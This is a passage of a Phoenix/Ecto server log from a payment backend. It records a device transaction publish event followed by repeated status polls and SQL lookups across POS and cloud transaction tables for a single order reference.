    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788437272,
    device_id: "98251226730002",
    amount: 2
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch261925438545",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:07:52.462331Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 12:07:52.462000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36842] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788437272, device_id: "98251226730002", amount: 2}, event_name: "Response From Publish Txn", refrence_id: "ch261925438545", transaction_id: nil, date_added: ~U[2026-09-03 12:07:52.462331Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 12:07:52.498000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36842] QUERY OK db=34.6ms queue=0.1ms idle=150.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788437272, device_id: "98251226730002", amount: 2}, "Response From Publish Txn", "ch261925438545", ~U[2026-09-03 12:07:52Z], 38, "response_from_publish_txn", ~N[2026-09-03 12:07:52], ~N[2026-09-03 12:07:52]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:07:52.498000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36842] Successfully created custom event log with ID: 40205
[Thu Sep  3 12:07:52.498000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36842] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1112539137.239381>
[Thu Sep  3 12:07:52.499000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36842] Sent 200 in 274ms
[Thu Sep  3 12:07:59.316000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51428] POST /api/device/status
[Thu Sep  3 12:07:59.316000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51428] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:07:59.317000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51428] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:07:59.317000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51428] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:07:59.346000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51428] QUERY OK source="pos_transaction" db=28.8ms queue=0.1ms idle=1498.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:07:59.347000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51428] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1528.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:07:59.352000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51428] QUERY OK source="pos_failed_transaction" db=4.4ms idle=1528.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:07:59.354000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51428] QUERY OK source="cloud_transaction" db=1.1ms idle=1533.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:07:59.354000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51428] Sent 200 in 38ms
[Thu Sep  3 12:08:03.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51440] POST /api/device/status
[Thu Sep  3 12:08:03.552000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51440] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:03.554000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51440] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:03.554000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51440] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:03.580000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51440] QUERY OK source="pos_transaction" db=25.2ms idle=1735.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:03.582000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51440] QUERY OK source="pos_temp_transaction" db=1.3ms idle=1584.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:03.592000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51440] QUERY OK source="pos_failed_transaction" db=7.8ms queue=1.9ms idle=762.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:03.593000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51440] QUERY OK source="cloud_transaction" db=1.0ms queue=0.1ms idle=772.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:03.594000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51440] Sent 200 in 42ms
[Thu Sep  3 12:08:08.321000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41576] POST /api/device/status
[Thu Sep  3 12:08:08.322000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:41576] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:08.324000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41576] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:08.324000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41576] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:08.345000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41576] QUERY OK source="pos_transaction" db=20.9ms idle=1499.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:08.348000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41576] QUERY OK source="pos_temp_transaction" db=2.3ms queue=0.1ms idle=1521.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:08.352000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41576] QUERY OK source="pos_failed_transaction" db=2.8ms idle=1523.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:08.353000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41576] QUERY OK source="cloud_transaction" db=1.2ms idle=1526.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:08.353000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41576] Sent 200 in 32ms
[Thu Sep  3 12:08:13.344000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41590] POST /api/device/status
[Thu Sep  3 12:08:13.344000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:41590] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:13.344000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41590] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:13.344000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:41590] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:13.359000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41590] QUERY OK source="pos_transaction" db=14.4ms idle=1517.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:13.362000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41590] QUERY OK source="pos_temp_transaction" db=0.5ms queue=0.1ms idle=1534.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:13.365000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41590] QUERY OK source="pos_failed_transaction" db=2.5ms idle=1534.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:13.367000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:41590] QUERY OK source="cloud_transaction" db=2.2ms idle=1316.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:13.367000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41590] Sent 200 in 23ms
[Thu Sep  3 12:08:18.408000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53978] POST /api/device/status
[Thu Sep  3 12:08:18.408000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53978] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:18.408000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53978] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:18.408000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53978] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:18.423000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53978] QUERY OK source="pos_transaction" db=13.8ms idle=1581.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:18.424000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53978] QUERY OK source="pos_temp_transaction" db=1.3ms idle=1596.2ms
